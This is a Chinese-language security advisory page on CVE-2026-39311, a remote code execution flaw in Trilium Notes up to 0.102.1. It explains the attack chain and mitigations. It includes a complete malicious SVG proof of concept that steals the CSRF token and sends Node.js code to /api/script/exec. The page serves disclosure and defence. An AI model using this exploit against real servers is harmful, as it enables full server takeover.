IPBUF安全漏洞报告
English
CVE-2026-39311 CVSS 6.8 中危

CVE-2026-39311 Trilium Notes远程代码执行漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-39311
漏洞类型
远程代码执行 (RCE)
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Trilium Notes

相关标签

RCETrilium NotesSVG InjectionXSSCSP BypassCVE-2026-39311

漏洞概述

Trilium Notes 0.102.1及之前版本存在严重安全缺陷。由于缺乏SVG清理且禁用了内容安全策略(CSP),攻击者可诱导认证用户查看恶意SVG附件。恶意SVG利用同源策略窃取CSRF令牌,并通过/api/script/exec接口在服务器端执行任意Node.js代码,导致服务器被完全控制。

技术细节

该漏洞源于Trilium Notes的不安全设计架构。首先,系统在提供SVG附件时使用image/svg+xml MIME类型,且未实施任何输入清理机制,同时显式禁用了Helmet的Content Security Policy (CSP) 中间件。这使得攻击者可以在SVG文件中嵌入恶意JavaScript代码,并在浏览器端成功执行。其次,由于恶意SVG在受害者的同源策略(SOP)上下文中运行,它拥有访问Trilium后端API的权限。攻击脚本能通过发送fetch('/')请求获取页面DOM,利用正则匹配提取出文档体中的CSRF令牌。最后,攻击者构造包含恶意Node.js代码的POST请求发送至/api/script/exec接口,携带窃取的CSRF令牌,诱使服务器端执行任意系统命令,从而实现完全的远程代码控制。

攻击链分析

STEP 1
1. 诱饵上传
攻击者构造包含恶意JavaScript的SVG文件,并将其上传为附件,或诱导管理员/认证用户查看该SVG链接。
STEP 2
2. 脚本执行
由于CSP被禁用且未清理SVG,当受害者用户在浏览器中查看SVG时,嵌入的JS代码在Same-Origin Policy下执行。
STEP 3
3. 令牌窃取
恶意脚本通过fetch请求访问根路径,解析返回的HTML文档,从中提取CSRF Token(csrfToken)。
STEP 4
4. 远程代码执行
脚本利用窃取的Token构造恶意请求发送至/api/script/exec接口,服务器接收并执行任意Node.js代码,导致服务器被攻陷。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<svg xmlns="http://www.w3.org/2000/svg"> <script> // Exploit code for CVE-2026-39311 // Step 1: Fetch the homepage to get the CSRF token from the DOM fetch('/').then(response => response.text()).then(html => { // Extract csrfToken using regex (adjust pattern based on actual Trilium HTML structure) const tokenMatch = html.match(/name="csrfToken" content="(.*?)"/); const csrfToken = tokenMatch ? tokenMatch[1] : null; if (csrfToken) { // Step 2: Define the malicious Node.js payload to execute // This example creates a file named 'pwned.txt' on the server const payload = ` const fs = require('fs'); fs.writeFileSync('/tmp/pwned.txt', 'CVE-2026-39311 Exploited'); `; // Step 3: Send the request to the exec API with the token fetch('/api/script/exec', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-CSRF-Token': csrfToken }, body: JSON.stringify({ script: payload }) }).then(res => console.log('Exploit sent')); } }); </script> <text x="0" y="15" font-size="20">Click to view</text> </svg>

影响范围

Trilium Notes <= 0.102.1

防御指南

临时缓解措施
建议立即升级到修复版本0.102.2。如果暂时无法升级,应严格限制SVG附件的上传和共享,配置反向代理(如Nginx)强制开启CSP头,或仅允许受信任的用户访问系统。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表